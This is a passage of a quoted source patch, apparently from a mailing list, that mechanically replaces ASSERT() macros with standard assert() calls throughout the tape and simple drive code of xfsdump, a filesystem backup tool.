); > - ASSERT( rechdrp->rec_used <= tape_recsz ); > - ASSERT( recoff >= STAPE_HDR_SZ ); > - ASSERT( rechdrp->rec_used >= STAPE_HDR_SZ ); > - ASSERT( recoff <= rechdrp->rec_used ); > + assert( recoff <= tape_recsz ); > + assert( rechdrp->rec_used <= tape_recsz ); > + assert( recoff >= STAPE_HDR_SZ ); > + assert( rechdrp->rec_used >= STAPE_HDR_SZ ); > + assert( recoff <= rechdrp->rec_used ); > currentoffset += ( off64_t )recoff; > } > - ASSERT( wantedoffset == currentoffset ); > + assert( wantedoffset == currentoffset ); > > return 0; > } > @@ -1425,9 +1426,9 @@ do_next_mark( drive_t *drivep ) > > /* assert protocol being followed. > */ > - ASSERT( contextp->dc_mode == OM_READ ); > - ASSERT( ! contextp->dc_errorpr ); > - ASSERT( ! contextp->dc_ownedp ); > + assert( contextp->dc_mode == OM_READ ); > + assert( ! contextp->dc_errorpr ); > + assert( ! contextp->dc_ownedp ); > > mlog( MLOG_DEBUG | MLOG_DRIVE, > "drive op: next mark\n" ); > @@ -1450,7 +1451,7 @@ noerrorsearch: > } > rechdrp = ( rec_hdr_t * )contextp->dc_recp; > > - ASSERT( rechdrp->first_mark_offset != 0 ); > + assert( rechdrp->first_mark_offset != 0 ); > if ( rechdrp->first_mark_offset > 0 ) { > off64_t markoff = rechdrp->first_mark_offset > - > @@ -1458,8 +1459,8 @@ noerrorsearch: > off64_t curoff = ( off64_t )( contextp->dc_nextp > - > contextp->dc_recp ); > - ASSERT( markoff > 0 ); > - ASSERT( curoff > 0 ); > + assert( markoff > 0 ); > + assert( curoff > 0 ); > if ( markoff >= curoff ) { > break; > } > @@ -1474,7 +1475,7 @@ noerrorsearch: > contextp->dc_reccnt++; > } > > - ASSERT( rechdrp->first_mark_offset - rechdrp->file_offset > + assert( rechdrp->first_mark_offset - rechdrp->file_offset > <= > ( off64_t )tape_recsz ); > contextp->dc_nextp = contextp->dc_recp > @@ -1482,8 +1483,8 @@ noerrorsearch: > ( size_t )( rechdrp->first_mark_offset > - > rechdrp->file_offset ); > - ASSERT( contextp->dc_nextp <= contextp->dc_dataendp ); > - ASSERT( contextp->dc_nextp >= contextp->dc_recp + STAPE_HDR_SZ ); > + assert( contextp->dc_nextp <= contextp->dc_dataendp ); > + assert( contextp->dc_nextp >= contextp->dc_recp + STAPE_HDR_SZ ); > if ( contextp->dc_nextp == contextp->dc_dataendp ) { > if ( ! contextp->dc_singlethreadedpr ) { > Ring_put( contextp->dc_ringp, > @@ -1509,7 +1510,7 @@ resetring: > contextp->dc_recp = contextp->dc_bufp; > } else { > contextp->dc_msgp = Ring_get( contextp->dc_ringp ); > - ASSERT( contextp->dc_msgp->rm_stat == RING_STAT_INIT ); > + assert( contextp->dc_msgp->rm_stat == RING_STAT_INIT ); > contextp->dc_recp = contextp->dc_msgp->rm_bufp; > } > rechdrp = ( rec_hdr_t * )contextp->dc_recp; > @@ -1561,7 +1562,7 @@ validateread: > } > > if ( nread >= 0 ) { > - ASSERT( ( size_t )nread <= tape_recsz ); > + assert( ( size_t )nread <= tape_recsz ); > mlog( MLOG_DEBUG | MLOG_DRIVE, > "short read (nread == %d, record size == %d)\n", > nread, > @@ -1604,24 +1605,24 @@ validatehdr: > goto readrecord; > } > > - ASSERT( ! ( rechdrp->file_offset % ( off64_t )tape_recsz )); > + assert( ! ( rechdrp->file_offset % ( off64_t )tape_recsz )); > markoff = rechdrp->first_mark_offset - rechdrp->file_offset; > - ASSERT( markoff >= ( off64_t )STAPE_HDR_SZ ); > - ASSERT( markoff < ( off64_t )tape_recsz ); > - ASSERT( rechdrp->rec_used > STAPE_HDR_SZ ); > - ASSERT( rechdrp->rec_used < tape_recsz ); > + assert( markoff >= ( off64_t )STAPE_HDR_SZ ); > + assert( markoff < ( off64_t )tape_recsz ); > + assert( rechdrp->rec_used > STAPE_HDR_SZ ); > + assert( rechdrp->rec_used < tape_recsz ); > > goto alliswell; > > alliswell: > contextp->dc_nextp = contextp->dc_recp + ( size_t )markoff; > - ASSERT( ! ( rechdrp->file_offset % ( off64_t )tape_recsz )); > + assert( ! ( rechdrp->file_offset % ( off64_t )tape_recsz )); > contextp->dc_reccnt = rechdrp->file_offset / ( off64_t )tape_recsz; > contextp->dc_iocnt = contextp->dc_reccnt + 1; > contextp->dc_recendp = contextp->dc_recp + tape_recsz; > contextp->dc_dataendp = contextp->dc_recp + rechdrp->rec_used; > - ASSERT( contextp->dc_dataendp <= contextp->dc_recendp ); > - ASSERT( contextp->dc_nextp < contextp->dc_dataendp ); > + assert( contextp->dc_dataendp <= contextp->dc_recendp ); > + assert( contextp->dc_nextp < contextp->dc_dataendp ); > contextp->dc_errorpr = BOOL_FALSE; > > mlog( MLOG_NORMAL | MLOG_DRIVE, > @@ -1696,8 +1697,8 @@ do_end_read( drive_t *drivep ) > > /* assert protocol being followed > */ > - ASSERT( contextp->dc_mode == OM_READ ); > - ASSERT( ! contextp->dc_ownedp ); > + assert( contextp->dc_mode == OM_READ ); > + assert( ! contextp->dc_ownedp ); > > if ( ! contextp->dc_singlethreadedpr ) { > Ring_reset( contextp->dc_ringp, contextp->dc_msgp ); > @@ -1745,9 +1746,9 @@ do_begin_write( drive_t *drivep ) > > /* verify protocol being followed > */ > - ASSERT( contextp->dc_mode == OM_NONE ); > - ASSERT( ! drivep->d_markrecheadp ); > - ASSERT( ! contextp->dc_recp ); > + assert( contextp->dc_mode == OM_NONE ); > + assert( ! drivep->d_markrecheadp ); > + assert( ! contextp->dc_recp ); > > /* get pointers into global write header > */ > @@ -1758,7 +1759,7 @@ do_begin_write( drive_t *drivep ) > /* must already be open. The only way to open is to do a begin_read. > * so all interaction with scsi tape requires reading first. > */ > - ASSERT( contextp->dc_fd != -1 ); > + assert( contextp->dc_fd != -1 ); > > /* get tape device status. verify tape is positioned > */ > @@ -1787,15 +1788,15 @@ do_begin_write( drive_t *drivep ) > /* get a record buffer. will be used for the media file header, > * and is needed to "prime the pump" for first call to do_write. > */ > - ASSERT( ! contextp->dc_recp ); > + assert( ! contextp->dc_recp ); > if ( contextp->dc_singlethreadedpr ) { > - ASSERT( contextp->dc_bufp ); > + assert( contextp->dc_bufp ); > contextp->dc_recp = contextp->dc_bufp; > } else { > - ASSERT( contextp->dc_ringp ); > - ASSERT( ! contextp->dc_msgp ); > + assert( contextp->dc_ringp ); > + assert( ! contextp->dc_msgp ); > contextp->dc_msgp = Ring_get( contextp->dc_ringp ); > - ASSERT( contextp->dc_msgp->rm_stat == RING_STAT_INIT ); > + assert( contextp->dc_msgp->rm_stat == RING_STAT_INIT ); > contextp->dc_recp = contextp->dc_msgp->rm_bufp; > } > > @@ -1840,7 +1841,7 @@ do_begin_write( drive_t *drivep ) > /* prepare the drive context. must have a record buffer ready to > * go, header initialized. > */ > - ASSERT( ! contextp->dc_ownedp ); > + assert( ! contextp->dc_ownedp ); > contextp->dc_reccnt = 1; /* count the header record */ > contextp->dc_recendp = contextp->dc_recp + tape_recsz; > contextp->dc_nextp = contextp->dc_recp + STAPE_HDR_SZ; > @@ -1885,15 +1886,15 @@ do_set_mark( drive_t *drivep, > > /* verify protocol being followed > */ > - ASSERT( contextp->dc_mode == OM_WRITE ); > - ASSERT( ! contextp->dc_errorpr ); > - ASSERT( ! contextp->dc_ownedp ); > - ASSERT( contextp->dc_recp ); > - ASSERT( contextp->dc_nextp ); > + assert( contextp->dc_mode == OM_WRITE ); > + assert( ! contextp->dc_errorpr ); > + assert( ! contextp->dc_ownedp ); > + assert( contextp->dc_recp ); > + assert( contextp->dc_nextp ); > > /* calculate and fill in the mark record offset > */ > - ASSERT( contextp->dc_recp ); > + assert( contextp->dc_recp ); > nextoff = contextp->dc_reccnt * ( off64_t )tape_recsz > + > ( off64_t )( contextp->dc_nextp - contextp->dc_recp ); > @@ -1908,7 +1909,7 @@ do_set_mark( drive_t *drivep, > */ > rechdrp = ( rec_hdr_t * )contextp->dc_recp; > if ( rechdrp->first_mark_offset == -1LL ) { > - ASSERT( nextoff != -1LL ); > + assert( nextoff != -1LL ); > rechdrp->first_mark_offset = nextoff; > } > > @@ -1921,7 +1922,7 @@ do_set_mark( drive_t *drivep, > drivep->d_markrecheadp = markrecp; > drivep->d_markrectailp = markrecp; > } else { > - ASSERT( drivep->d_markrectailp ); > + assert( drivep->d_markrectailp ); > drivep->d_markrectailp->dm_nextp = markrecp; > drivep->d_markrectailp = markrecp; > } > @@ -1948,12 +1949,12 @@ do_get_write_buf( drive_t *drivep, size_t wantedcnt, size_t *actualcntp ) > > /* verify protocol being followed > */ > - ASSERT( contextp->dc_mode == OM_WRITE ); > - ASSERT( ! contextp->dc_errorpr ); > - ASSERT( ! contextp->dc_ownedp ); > - ASSERT( contextp->dc_recp ); > - ASSERT( contextp->dc_nextp ); > - ASSERT( contextp->dc_nextp < contextp->dc_recendp ); > + assert( contextp->dc_mode == OM_WRITE ); > + assert( ! contextp->dc_errorpr ); > + assert( ! contextp->dc_ownedp ); > + assert( contextp->dc_recp ); > + assert( contextp->dc_nextp ); > + assert( contextp->dc_nextp < contextp->dc_recendp ); > > /* figure how much is available; supply the min of what is > * available and what is wanted. > @@ -2014,17 +2015,17 @@ do_write( drive_t *drivep, char *bufp, size_t retcnt ) > > /* verify protocol being followed > */ > - ASSERT( contextp->dc_mode == OM_WRITE ); > - ASSERT( ! contextp->dc_errorpr ); > - ASSERT( contextp->dc_ownedp ); > - ASSERT( contextp->dc_recp ); > - ASSERT( contextp->dc_nextp ); > - ASSERT( contextp->dc_nextp <= contextp->dc_recendp ); > + assert( contextp->dc_mode == OM_WRITE ); > + assert( ! contextp->dc_errorpr ); > + assert( contextp->dc_ownedp ); > + assert( contextp->dc_recp ); > + assert( contextp->dc_nextp ); > + assert( contextp->dc_nextp <= contextp->dc_recendp ); > > /* verify the caller is returning exactly what is held > */ > - ASSERT( bufp == contextp->dc_ownedp ); > - ASSERT( retcnt == heldcnt ); > + assert( bufp == contextp->dc_ownedp ); > + assert( retcnt == heldcnt ); > > /* take it back > */ > @@ -2065,7 +2066,7 @@ do_write( drive_t *drivep, char *bufp, size_t retcnt ) > rval = contextp->dc_msgp->rm_rval; > break; > default: > - ASSERT( 0 ); > + assert( 0 ); > return DRIVE_ERROR_CORE; > } > } > @@ -2129,12 +2130,12 @@ do_get_align_cnt( drive_t * drivep ) > > /* verify protocol being followed > */ > - ASSERT( contextp->dc_mode == OM_WRITE ); > - ASSERT( ! contextp->dc_errorpr ); > - ASSERT( ! contextp->dc_ownedp ); > - ASSERT( contextp->dc_recp ); > - ASSERT( contextp->dc_nextp ); > - ASSERT( contextp->dc_nextp < contextp->dc_recendp ); > + assert( contextp->dc_mode == OM_WRITE ); > + assert( ! contextp->dc_errorpr ); > + assert( ! contextp->dc_ownedp ); > + assert( contextp->dc_recp ); > + assert( contextp->dc_nextp ); > + assert( contextp->dc_nextp < contextp->dc_recendp ); > > /* calculate the next alignment point at or beyond the current nextp. > * the following algorithm works because all buffers are page-aligned > @@ -2144,11 +2145,11 @@ do_get_align_cnt( drive_t * drivep ) > next_alignment_off += PGMASK; > next_alignment_off &= ~PGMASK; > next_alignment_point = ( char * )next_alignment_off; > - ASSERT( next_alignment_point <= contextp->dc_recendp ); > + assert( next_alignment_point <= contextp->dc_recendp ); > > /* return the number of bytes to the next alignment offset > */ > - ASSERT( next_alignment_point >= contextp->dc_nextp ); > + assert( next_alignment_point >= contextp->dc_nextp ); > return ( size_t )( next_alignment_point - contextp->dc_nextp ); > } > > @@ -2175,12 +2176,12 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) > > /* verify protocol being followed > */ > - ASSERT( contextp->dc_mode == OM_WRITE ); > - ASSERT( ! contextp->dc_ownedp ); > - ASSERT( contextp->dc_recp ); > - ASSERT( contextp->dc_nextp ); > - ASSERT( contextp->dc_nextp >= contextp->dc_recp + STAPE_HDR_SZ ); > - ASSERT( contextp->dc_nextp < contextp->dc_recendp ); > + assert( contextp->dc_mode == OM_WRITE ); > + assert( ! contextp->dc_ownedp ); > + assert( contextp->dc_recp ); > + assert( contextp->dc_nextp ); > + assert( contextp->dc_nextp >= contextp->dc_recp + STAPE_HDR_SZ ); > + assert( contextp->dc_nextp < contextp->dc_recendp ); > > /* pre-initialize return of count of bytes committed to media > */ > @@ -2222,7 +2223,7 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) > contextp->dc_recp, > BOOL_TRUE, BOOL_TRUE ); > } else { > - ASSERT( contextp->dc_msgp ); > + assert( contextp->dc_msgp ); > contextp->dc_msgp->rm_op = RING_OP_WRITE; > contextp->dc_msgp->rm_user = contextp->dc_reccnt; > Ring_put( contextp->dc_ringp, > @@ -2238,7 +2239,7 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) > rval = contextp->dc_msgp->rm_rval; > break; > default: > - ASSERT( 0 ); > + assert( 0 ); > contextp->dc_recp = 0; > return DRIVE_ERROR_CORE; > } > @@ -2265,7 +2266,7 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) > } > if ( ! contextp->dc_singlethreadedpr ) { > while ( ! rval ) { > - ASSERT( contextp->dc_msgp ); > + assert( contextp->dc_msgp ); > contextp->dc_msgp->rm_op = RING_OP_TRACE; > Ring_put( contextp->dc_ringp, > contextp->dc_msgp ); > @@ -2277,14 +2278,14 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) > switch( contextp->dc_msgp->rm_stat ) { > case RING_STAT_OK: > case RING_STAT_INIT: > - ASSERT( rval == 0 ); > + assert( rval == 0 ); > break; > case RING_STAT_ERROR: > rval = contextp->dc_msgp->rm_rval; > first_rec_w_err = contextp->dc_msgp->rm_user; > break; > default: > - ASSERT( 0 ); > + assert( 0 ); > contextp->dc_recp = 0; > return DRIVE_ERROR_CORE; > } > @@ -2346,11 +2347,11 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) > * to tape. > */ > if ( rval ) { > - ASSERT( first_rec_w_err >= 0 ); > + assert( first_rec_w_err >= 0 ); > recs_wtn_wo_err = first_rec_w_err; > recs_guaranteed = recs_wtn_wo_err - contextp->dc_lostrecmax; > } else { > - ASSERT( first_rec_w_err == -1 ); > + assert( first_rec_w_err == -1 ); > recs_wtn_wo_err = contextp->dc_iocnt; > recs_guaranteed = recs_wtn_wo_err; > } > @@ -2382,14 +2383,14 @@ do_fsf( drive_t *drivep, intgen_t count, intgen_t *statp ) > > /* verify protocol being followed > */ > - ASSERT( contextp->dc_mode == OM_NONE ); > + assert( contextp->dc_mode == OM_NONE ); > > mlog( MLOG_DEBUG | MLOG_DRIVE, > "drive op: fsf: count %d\n", > count ); > > - ASSERT( count ); > - ASSERT( contextp->dc_mode == OM_NONE ); > + assert( count ); > + assert( contextp->dc_mode == OM_NONE ); > > /* get tape status > */ > @@ -2426,7 +2427,7 @@ do_fsf( drive_t *drivep, intgen_t count, intgen_t *statp ) > _("advancing tape to next media file\n") ); > > op_failed = 0; > - ASSERT( contextp->dc_fd >= 0 ); > + assert( contextp->dc_fd >= 0 ); > if ( mt_op( contextp->dc_fd, MTFSF, 1 ) ) { > op_failed = 1; > } > @@ -2482,7 +2483,7 @@ do_bsf( drive_t *drivep, intgen_t count, intgen_t *statp ) > "drive op: bsf: count %d\n", > count ); > > - ASSERT( contextp->dc_mode == OM_NONE ); > + assert( contextp->dc_mode == OM_NONE ); > > *statp = 0; > > @@ -2515,7 +2516,7 @@ do_bsf( drive_t *drivep, intgen_t count, intgen_t *statp ) > *statp = DRIVE_ERROR_DEVICE; > return 0; > } > - ASSERT( IS_BOT(mtstat )); > + assert( IS_BOT(mtstat )); > > > *statp = DRIVE_ERROR_BOM; > @@ -2531,7 +2532,7 @@ do_bsf( drive_t *drivep, intgen_t count, intgen_t *statp ) > > /* back space - places us to left of previous file mark > */ > - ASSERT( drivep->d_capabilities & DRIVE_CAP_BSF ); > + assert( drivep->d_capabilities & DRIVE_CAP_BSF ); > mtstat = bsf_and_verify( drivep ); > > /* check again for beginning-of-tape condition > @@ -2606,8 +2607,8 @@ do_rewind( drive_t *drivep ) > mlog( MLOG_DEBUG | MLOG_DRIVE, > "drive op: rewind\n" ); > > - ASSERT( contextp->dc_mode == OM_NONE ); > - ASSERT( contextp->dc_fd >= 0 ); > + assert( contextp->dc_mode == OM_NONE ); > + assert( contextp->dc_fd >= 0 ); > > /* use validating tape rewind util func > */ > @@ -2637,8 +2638,8 @@ do_erase( drive_t *drivep ) > mlog( MLOG_DEBUG | MLOG_DRIVE, > "drive op: erase\n" ); > > - ASSERT( contextp->dc_mode == OM_NONE ); > - ASSERT( contextp->dc_fd >= 0 ); > + assert( contextp->dc_mode == OM_NONE ); > + assert( contextp->dc_fd >= 0 ); > > /* use validating tape rewind util func > */ > @@ -2681,8 +2682,8 @@ do_eject_media( drive_t *drivep ) > > /* drive must be open > */ > - ASSERT( contextp->dc_fd >= 0 ); > - ASSERT( contextp->dc_mode == OM_NONE ); > + assert( contextp->dc_fd >= 0 ); > + assert( contextp->dc_mode == OM_NONE ); > > /* issue tape unload > */ > @@ -2913,7 +2914,7 @@ read_label( drive_t *drivep ) > /* if a read error, get status > */ > if ( nread != ( intgen_t )tape_recsz ) { > - ASSERT( nread < ( intgen_t )tape_recsz ); > + assert( nread < ( intgen_t )tape_recsz ); > ok = mt_get_status( drivep, &mtstat ); > if ( ! ok ) { > status_failed_message( drivep ); > @@ -3135,10 +3136,10 @@ set_fixed_blksz( drive_t *drivep, size_t blksz ) > > /* sanity checks > */ > - ASSERT( blksz ); > - ASSERT( contextp->dc_isvarpr == BOOL_FALSE ); > - ASSERT( contextp->dc_cansetblkszpr ); > - ASSERT( contextp->dc_fd >= 0 ); > + assert( blksz ); > + assert( contextp->dc_isvarpr == BOOL_FALSE ); > + assert( contextp->dc_cansetblkszpr ); > + assert( contextp->dc_fd >= 0 ); > > /* give it two tries: first without rewinding, second with rewinding > */ > @@ -3213,7 +3214,7 @@ get_tpcaps( drive_t *drivep ) > { > drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; > > - ASSERT( contextp->dc_fd >= 0 ); > + assert( contextp->dc_fd >= 0 ); > > if ( contextp->dc_isrmtpr ) { > /* can't ask about blksz, can't set blksz, can't ask about > @@ -3386,7 +3387,7 @@ mt_op(intgen_t fd, intgen_t sub_op, intgen_t param ) > mop.mt_op = (short )sub_op; > mop.mt_count = param; > > - ASSERT( fd >= 0 ); > + assert( fd >= 0 ); > > switch ( sub_op ) { > case MTSEEK: > @@ -3458,7 +3459,7 @@ mt_get_fileno( drive_t *drivep, long *fileno) > mlog( MLOG_DEBUG | MLOG_DRIVE, > "tape op: get fileno\n" ); > > - ASSERT( contextp->dc_fd >= 0 ); > + assert( contextp->dc_fd >= 0 ); > > if ( ioctl(contextp->dc_fd, MTIOCGET, &mt_stat) < 0 ) { > /* failure > @@ -3491,7 +3492,7 @@ mt_get_status( drive_t *drivep, long *status) > mlog( MLOG_DEBUG | MLOG_DRIVE, > "tape op: get status\n" ); > > - ASSERT( contextp->dc_fd >= 0 ); > + assert( contextp->dc_fd >= 0 ); > > if (TS_ISDRIVER) { > /* > @@ -3864,7 +3865,7 @@ retry: > > /* shouldn't be here if drive is open > */ > - ASSERT( contextp->dc_fd == -1 ); > + assert( contextp->dc_fd == -1 ); > > mlog( MLOG_VERBOSE | MLOG_DRIVE, > _("preparing drive\n") ); > @@ -3966,7 +3967,7 @@ retry: > > Close( drivep ); > } > - ASSERT( IS_ONL( mtstat )); > + assert( IS_ONL( mtstat )); > > /* determine tape capabilities. this will set the drivep->d_capabilities > * and contextp->dc_{...}blksz and dc_isQICpr, as well as recommended > @@ -4156,7 +4157,7 @@ retry: > contextp->dc_recp, > tape_recsz, > &saved_errno ); > - ASSERT( saved_errno == 0 || nread < 0 ); > + assert( saved_errno == 0 || nread < 0 ); > > /* RMT can require a retry > */ > @@ -4536,7 +4537,7 @@ checkhdr: > rec_hdr_t *tprhdrp; > drhdrp = drivep->d_readhdrp; > tprhdrp = ( rec_hdr_t * )drhdrp->dh_specific; > - ASSERT( tprhdrp->recsize >= 0 ); > + assert( tprhdrp->recsize >= 0 ); > tape_recsz = ( size_t )tprhdrp->recsize; > mlog( MLOG_DEBUG | MLOG_DRIVE, > "tape record size set to header's " > @@ -4657,7 +4658,7 @@ Open( drive_t *drivep ) > mlog( MLOG_DEBUG | MLOG_DRIVE, > "tape op: opening drive\n" ); > > - ASSERT( contextp->dc_fd == -1 ); > + assert( contextp->dc_fd == -1 ); > > errno = 0; > contextp->dc_fd = open( drivep->d_pathname, oflags ); > @@ -4678,7 +4679,7 @@ Close( drive_t *drivep ) > mlog( MLOG_DEBUG | MLOG_DRIVE, > "tape op: closing drive\n" ); > > - ASSERT( contextp->dc_fd >= 0 ); > + assert( contextp->dc_fd >= 0 ); > > ( void )close( contextp->dc_fd ); > > @@ -4695,8 +4696,8 @@ Read( drive_t *drivep, char *bufp, size_t cnt, intgen_t *errnop ) > "tape op: reading %u bytes\n", > cnt ); > > - ASSERT( contextp->dc_fd >= 0 ); > - ASSERT( bufp ); > + assert( contextp->dc_fd >= 0 ); > + assert( bufp ); > *errnop = 0; > errno = 0; > nread = read( contextp->dc_fd, ( void * )bufp, cnt ); > @@ -4731,8 +4732,8 @@ Write( drive_t *drivep, char *bufp, size_t cnt, intgen_t *errnop ) > "tape op: writing %u bytes\n", > cnt ); > > - ASSERT( contextp->dc_fd >= 0 ); > - ASSERT( bufp ); > + assert( contextp->dc_fd >= 0 ); > + assert( bufp ); > *errnop = 0; > errno = 0; > nwritten = write( contextp->dc_fd, ( void * )bufp, cnt ); > @@ -4944,7 +4945,7 @@ read_record( drive_t *drivep, char *bufp ) > /* short read > */ > if ( nread >= 0 ) { > - ASSERT( nread <= ( intgen_t )tape_recsz ); > + assert( nread <= ( intgen_t )tape_recsz ); > mlog( MLOG_DEBUG | MLOG_DRIVE, > "short read record %lld (nread == %d)\n", > contextp->dc_iocnt, > @@ -5006,7 +5007,7 @@ getrec( drive_t *drivep ) > contextp->dc_errorpr = BOOL_TRUE; > return contextp->dc_msgp->rm_rval; > default: > - ASSERT( 0 ); > + assert( 0 ); > contextp->dc_errorpr = BOOL_TRUE; > return DRIVE_ERROR_CORE; > } > @@ -5019,7 +5020,7 @@ getrec( drive_t *drivep ) > contextp->dc_nextp = contextp->dc_recp > + > STAPE_HDR_SZ; > - ASSERT( contextp->dc_nextp <= contextp->dc_dataendp ); > + assert( contextp->dc_nextp <= contextp->dc_dataendp ); > } > > return 0; > @@ -5055,7 +5056,7 @@ write_record( drive_t *drivep, char *bufp, bool_t chksumpr, bool_t xlatepr ) > } > > rval = determine_write_error( drivep, nwritten, saved_errno ); > - ASSERT( rval ); > + assert( rval ); > > return rval; > } > @@ -5094,7 +5095,7 @@ Ring_reset( ring_t *ringp, ring_msg_t *msgp ) > mlog( (MLOG_NITTY + 1) | MLOG_DRIVE, > "ring op: reset\n" ); > > - ASSERT( ringp ); > + assert( ringp ); > > ring_reset( ringp, msgp ); > } > @@ -5125,19 +5126,19 @@ display_ring_metrics( drive_t *drivep, intgen_t mlog_flags ) > char *bufszsfxp; > > if ( tape_recsz == STAPE_MIN_MAX_BLKSZ ) { > - ASSERT( ! ( STAPE_MIN_MAX_BLKSZ % 0x400 )); > + assert( ! ( STAPE_MIN_MAX_BLKSZ % 0x400 )); > sprintf( bufszbuf, "%u", STAPE_MIN_MAX_BLKSZ / 0x400 ); > - ASSERT( strlen( bufszbuf ) < sizeof( bufszbuf )); > + assert( strlen( bufszbuf ) < sizeof( bufszbuf )); > bufszsfxp = "KB"; > } else if ( tape_recsz == STAPE_MAX_RECSZ ) { > - ASSERT( ! ( STAPE_MAX_RECSZ % 0x100000 )); > + assert( ! ( STAPE_MAX_RECSZ % 0x100000 )); > sprintf( bufszbuf, "%u", STAPE_MAX_RECSZ / 0x100000 ); > - ASSERT( strlen( bufszbuf ) < sizeof( bufszbuf )); > + assert( strlen( bufszbuf ) < sizeof( bufszbuf )); > bufszsfxp = "MB"; > } else if ( tape_recsz == STAPE_MAX_LINUX_RECSZ ) { > - ASSERT( ! ( STAPE_MAX_LINUX_RECSZ % 0x100000 )); > + assert( ! ( STAPE_MAX_LINUX_RECSZ % 0x100000 )); > sprintf( bufszbuf, "%u", STAPE_MAX_LINUX_RECSZ / 0x100000 ); > - ASSERT( strlen( bufszbuf ) < sizeof( bufszbuf )); > + assert( strlen( bufszbuf ) < sizeof( bufszbuf )); > bufszsfxp = "MB"; > } else { > bufszsfxp = ""; > diff --git a/common/drive_simple.c b/common/drive_simple.c > index 2b0447d..2e57d8c 100644 > --- a/common/drive_simple.c > +++ b/common/drive_simple.c > @@ -25,6 +25,7 @@ > #include > #include > #include > +#include > > #include "types.h" > #include "util.h" > @@ -185,7 +186,7 @@ ds_match( int argc, char *argv[], drive_t *drivep ) > > /* sanity checks > */ > - ASSERT( ! ( sizeofmember( drive_context_t, dc_buf ) % PGSZ )); > + assert( ! ( sizeofmember( drive_context_t, dc_buf ) % PGSZ )); > > /* determine if this is an rmt file. if so, give a weak match: > * might be an ordinary file accessed via the rmt protocol. > @@ -234,8 +235,8 @@ ds_instantiate( int argc, char *argv[], drive_t *drivep ) > */ > contextp = ( drive_context_t * )memalign( PGSZ, > sizeof( drive_context_t )); > - ASSERT( contextp ); > - ASSERT( ( void * )contextp->dc_buf == ( void * )contextp ); > + assert( contextp ); > + assert( ( void * )contextp->dc_buf == ( void * )contextp ); > memset( ( void * )contextp, 0, sizeof( *contextp )); > > /* scan drive device pathname to see if remote tape > @@ -439,9 +440,9 @@ do_begin_read( drive_t *drivep ) > > /* verify protocol being followed > */ > - ASSERT( dcaps & DRIVE_CAP_READ ); > - ASSERT( contextp->dc_fd >= 0 ); > - ASSERT( contextp->dc_mode == OM_NONE ); > + assert( dcaps & DRIVE_CAP_READ ); > + assert( contextp->dc_fd >= 0 ); > + assert( contextp->dc_mode == OM_NONE ); > > /* can only read one media file > */ > @@ -484,7 +485,7 @@ do_begin_read( drive_t *drivep ) > free(tmphdr); > return rval; > } > - ASSERT( ( size_t )nread == GLOBAL_HDR_SZ ); > + assert( ( size_t )nread == GLOBAL_HDR_SZ ); > > mlog(MLOG_NITTY, "do_begin_read: global_hdr\n" > "\tgh_magic %.100s\n" > @@ -585,9 +586,9 @@ do_read( drive_t *drivep, > > /* assert protocol > */ > - ASSERT( contextp->dc_mode == OM_READ ); > - ASSERT( ! contextp->dc_ownedp ); > - ASSERT( wantedcnt > 0 ); > + assert( contextp->dc_mode == OM_READ ); > + assert( ! contextp->dc_ownedp ); > + assert( wantedcnt > 0 ); > > /* pre-initialize reference return > */ > @@ -595,7 +596,7 @@ do_read( drive_t *drivep, > > /* count number of unread bytes in buffer > */ > - ASSERT( contextp->dc_emptyp >= contextp->dc_nextp ); > + assert( contextp->dc_emptyp >= contextp->dc_nextp ); > remainingcnt = ( size_t )( contextp->dc_emptyp - contextp->dc_nextp ); > > /* if no unread bytes in buffer, refill > @@ -628,7 +629,7 @@ do_read( drive_t *drivep, > /* record the ptrs to the first empty byte and the next > * byte to be read > */ > - ASSERT( nread <= BUFSZ ); > + assert( nread <= BUFSZ ); > contextp->dc_emptyp = contextp->dc_buf + nread; > contextp->dc_nextp = contextp->dc_buf; > > @@ -656,7 +657,7 @@ do_read( drive_t *drivep, > /* advance the next ptr to the next byte to be supplied > */ > contextp->dc_nextp += actualcnt; > - ASSERT( contextp->dc_nextp <= contextp->dc_emptyp ); > + assert( contextp->dc_nextp <= contextp->dc_emptyp ); > > /* return the actual number of bytes supplied, and a ptr to the first > */ > @@ -681,17 +682,17 @@ do_return_read_buf( drive_t *drivep, char *retp, size_t retcnt ) > > /* verify protocol > */ > - ASSERT( contextp->dc_mode == OM_READ ); > - ASSERT( contextp->dc_ownedp ); > + assert( contextp->dc_mode == OM_READ ); > + assert( contextp->dc_ownedp ); > > /* verify returning right buffer > */ > - ASSERT( retp == contextp->dc_ownedp ); > + assert( retp == contextp->dc_ownedp ); > > /* verify all of buffer provided is being returned > */ > ownedcnt = ( size_t )( contextp->dc_nextp - contextp->dc_ownedp ); > - ASSERT( retcnt == ownedcnt ); > + assert( retcnt == ownedcnt ); > > /* indicate nothing now owned by caller > */ > @@ -713,8 +714,8 @@ do_get_mark( drive_t *drivep, drive_mark_t *markp ) > > /* assert protocol > */ > - ASSERT( contextp->dc_mode == OM_READ ); > - ASSERT( ! contextp->dc_ownedp ); > + assert( contextp->dc_mode == OM_READ ); > + assert( ! contextp->dc_ownedp ); > > /* calculate the offset of the next byte to be supplied relative to > * the beginning of the buffer and relative to the beginning of > @@ -746,8 +747,8 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > > /* assert protocol > */ > - ASSERT( contextp->dc_mode == OM_READ ); > - ASSERT( ! contextp->dc_ownedp ); > + assert( contextp->dc_mode == OM_READ ); > + assert( ! contextp->dc_ownedp ); > > /* calculate the current offset within the media file > * of the next byte to be read > @@ -784,7 +785,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) > */ > nextoff = ( off64_t )( contextp->dc_nextp - contextp->dc_buf ); > strmoff = contextp->dc_bufstroff + nextoff; > - ASSERT( strmoff == mark ); > + assert( strmoff == mark ); > > return 0; > } > @@ -808,9 +809,9 @@ do_next_mark( drive_t *drivep ) > > /* assert protocol > */ > - ASSERT( dcaps & DRIVE_CAP_NEXTMARK ); > - ASSERT( contextp->dc_mode == OM_READ ); > - ASSERT( ! contextp->dc_ownedp ); > + assert( dcaps & DRIVE_CAP_NEXTMARK ); > + assert( contextp->dc_mode == OM_READ ); > + assert( ! contextp->dc_ownedp ); > > if ( ! mark ) { > return DRIVE_ERROR_EOF; > @@ -837,13 +838,13 @@ 